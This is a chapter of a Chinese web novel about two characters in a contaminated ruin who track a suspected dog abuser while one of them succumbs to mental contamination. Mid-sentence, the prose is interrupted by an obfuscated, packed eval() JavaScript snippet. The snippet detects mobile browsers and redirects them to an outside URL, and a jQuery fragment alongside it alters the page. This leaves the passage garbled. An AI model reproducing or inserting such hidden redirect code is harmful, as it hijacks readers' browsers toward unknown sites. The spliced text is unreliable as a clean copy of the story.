罗浮缓慢地摇了摇头:“不。虽然我没见过小白,但它是小黄的同伴,应该也是一只流浪狗——流浪狗怎么可能待在房子里?” 她转头看向封玉,眼底里翻涌着丝丝缕缕的怒意:“除非,有人把它抓回了家。” 难怪小黄那么挂念小白! 它们很可能是一起被那个畜生抓走的,小黄被虐待致死后自然就不知道小白后来怎么样了。 它体会过那些撕心裂肺的痛苦,因此至今担心着自己的好朋友,甚至形成了强大的执念。 这不一定是小白最后待的地方,但是小黄最后见到它的地方。 “啧。” 封玉烦躁地抓了抓头发:“这下麻烦了。那个人大概率是死了,可只有他知道小白在哪儿,我们怎么找?” 关键是,那些阴魂都被感染了,只会不断重复同一句话,即便他们大海捞针地找出虐狗者,也很难从他嘴里撬出什么来。 沉默在二人之间弥漫了好几分钟。罗浮忽然出声,说了一句毫不相关的话:“……你觉得,刘杰这人怎么样?” 封玉愣了愣,一脸的莫名其妙:“还行吧,挺讲义气的。之前还想去救你来着,虽然没成功就是了——怎么突然问起他了?” “是不是太巧了?” 罗浮笑了一下,笑意却始终不达眼底:“他早不走晚不走,偏偏在我们要去对付母体的时候走?这一走……可就再也没回来。” 封玉“啊”了声,有个念头在他脑子里虚虚的漂浮过去:“你什么意思?” “他见过不断重复‘你见过小白吗’的阴魂,也听见了母体那边传出的狗叫声。然后他就说要去找队友,走了。当时我们俩刻板印象,以为是某个人在牵挂ta的狗,可……” 罗浮盯着封玉的眼睛:“如果刘杰就是那个虐狗的人呢?他亲手抓走、残杀了小黄和小白,那他会不会早就猜到了——母体是小黄?” 14. 不是办法的办法 长安里是一座占地面积较大的回迁安置小区。更何况它如今变得满目疮痍,到处都是能够供人躲避的砖石缝隙。 所以若有人存心要藏起来,便是无论如何也不会被轻易找到的。 在罗浮和封玉绕着整个小区搜索了一个来回之后,本就遍体鳞伤的二人更加地狼狈不堪,灰头土脸的像两个泥人。 伴着又一阵“咕噜噜”的肚子叫,罗浮顿住脚步,望着远处漆黑的“污染罩”,低声轻叹:“这天好像永远都不会亮了。” 在黑乎乎的废墟里找一个故意躲起来的人,也没比大海捞针好多少。 这一圈找下来,别说刘杰了,连他的队友都没见到——要不是封玉说他的确见过两男一女,罗浮都要以为所谓的“队友”是刘杰的谎言了。 估摸着是刘杰找了什么理由,让他们也都躲起来了吧? 身后突然传来一阵窸窸窣窣的动静,罗浮回头看去,瞧见封玉掰开了一截断裂的水泥块,从下面捡起什么东西,直起身朝自己递了过来。 看清那东西的同一时间,罗浮听见他说:“刚好这下面压了只面包,不知道谁家的,你先垫垫肚子吧。” 话落,罗浮心脏狠狠一沉。 ……面包?那分明是一只血淋淋的断脚!它被砸得稀巴烂,碎骨渣滓白森森的突在外面,既恐怖又恶心,就算是瞎子也不可能把它当成一只面包! “愣着干嘛?拿着呀。”封玉又朝她递了递。 罗浮后退半步,神情复杂地看着他:“你仔细看看,这到底是什么?” 封玉“嗯?”了声,狐疑地低头盯着自己手里的“面包”,还将它拿高了凑到眼前转了三百六十度——他的鼻尖差点儿就要碰到那根软塌塌的大拇指了。 可当他抬头看向罗浮时,却一脸好笑的说:“草莓酱面包啊,不然还能是什么?总不能是馒头吧?” 他这话实在滑稽,罗浮也想笑,可怎么也笑不出来。 污染区内充斥着污染源,随着他们每一次呼吸、每一寸肌肤与空气的接触,始终源源不断地侵袭他们的身体。 而现在……它终于初见成效。 虽然封玉刚处于初期的精神污染阶段,但罗浮比谁都清楚:一旦开了这个头,蜕形种的侵占过程会在极短时间里接踵而至。 真是一波未平一波又起。 罗浮一点儿也不想知道勾魂使变成蜕形种之后会有多么强大,留给二人的时间不多了。 她呼出口气,目光凝重地看着封玉:“我知道你现在还能听明白我的话。记住,一定要时刻想着我告诉你的那些关键信息,千万别被抢走身体。” 封玉被她严肃的样子吓了一跳,转眼却又笑了起来:“干嘛突然这么认真?我知道啦,一直都记着呢,真是啰嗦。” 罗浮注意到,他语气和神态都变得懒洋洋的,有一种什么都不在乎的……洒脱轻松感?这状态就跟吸了那什么似的。 她不敢冒险,也不能把封玉自己扔在这儿。想了想,去废墟里扯出一片不知谁家的床单,割成绳子把封玉五花大绑起来。 她留了一段绳子牵在手里,拉着人随意挑了个方向,走过去找了处隐蔽的藏匿点。 ……看着面前一脸憨笑的封玉,罗浮真是不知道该怎么办才好。 其实二人是有一个备用计划的: 如果一圈搜索下来找不到刘杰,罗浮便利用【一句话故事】给自己施加一个“追踪目标”的能力,再由封玉去把人抓起来。 不用想都知道,这种覆盖范围较大的“故事”会让罗浮消耗极大的能量。所以二人都抱着“能直接找到人最好”的心态,没有在一开始就用上。 只是没想到……偏偏封玉在这时候出了问题。 而“故事”只能作用在一件事上。哪怕罗浮说“封玉不会被感染”,那等她用上“追踪目标”的时候,封玉还是会变成一个只会嘿嘿傻笑的憨包。 她有些头疼地起身走出去,搬来一些碎石将封玉藏在里面,低声叮嘱道:“哪儿都别去,在这里等我。” 封玉像喝了假酒似的,迷迷瞪瞪地将眼睛凑在一条小缝上盯着罗浮:“咦,你这颗花生怎么还会说话呀?你的嘴在哪儿呢?” 罗浮:“……” 神经病。 正如她所想的一样:一旦出现感染症状,之后的进展便会如潮水般一发不可收拾。 短短时间里,封玉已经严重到了如此地步。 罗浮忍不住想:还好她当时直接昏迷了,否则也不知道会做出多么滑稽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679015|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丢人的事儿来。 她叹了口气,懒得搭理一个傻子,转身便走。 没走几步,又听见身后传来对方的声音:“……你,小心!一定杀了母体……” 她脚步顿了顿,没回头:“放心。” 除了追踪目标,还有什么既能找到人、又不必消耗过度的能力? 罗浮静静靠在断墙边,花了将近五分钟,终于想出一个称不上办法的办法。 她抬头看向黑沉沉的污染罩,张口轻轻地说:“刘杰的身体会发光。” ——作用在一个人身上的、不是特别强大的能力,条件达成。 饶是如此,罗浮还是两眼一黑,从后脑勺位置爆发出一阵强烈的眩晕感。 还好,可以接受。 她顺着墙壁滑下去坐在了地上,在慢慢恢复的同时,安安静静地等。 十分钟后,左前方陡然发出“嘭”的一声巨响。 罗浮缓缓起身,抬眸望去,只见那边已然飘荡起浓郁的灰尘。还有一些大大小小的石块漫天飞,一看就知道正在发生激战。 她艰难地咽了咽口水——不知多久没吃没喝了,几近于无的唾液吞下去,喉咙里立刻滚过一阵干疼。 不紧不慢地走向那个方位,在距离还有百米的时候,罗浮爬上废墟堆远远望去—— 污染物和人类似乎陷入了僵持阶段。 在那些影影绰绰的身影中,罗浮首先看到的就是浑身发光的刘杰。 他和一男一女站在一起,地上好像有一具只剩半截的残尸,估计是他们的另一个队友。 那个女人右手变成了一条漆黑的不明物体——由于距离太远罗浮看不清,只知道它像条蛇似的卷在了一只污染物的身体上。 似乎就是因为这只污染物被扣住成了“人”质,双方才突然陷入了僵持。 ……所以说,这是个“不是办法的办法”。 罗浮只想抓刘杰,但这个办法必然要连累跟他躲在一起的其他人。他们大概率都是今夜污染爆发之后才结识的,根本不知道刘杰的真面目,实在不该为此而丧命。 可若是不这样,再拖延下去就连封玉也可能会死。 相比于几个陌生人的性命……老实说,罗浮更想保护自己的同伴。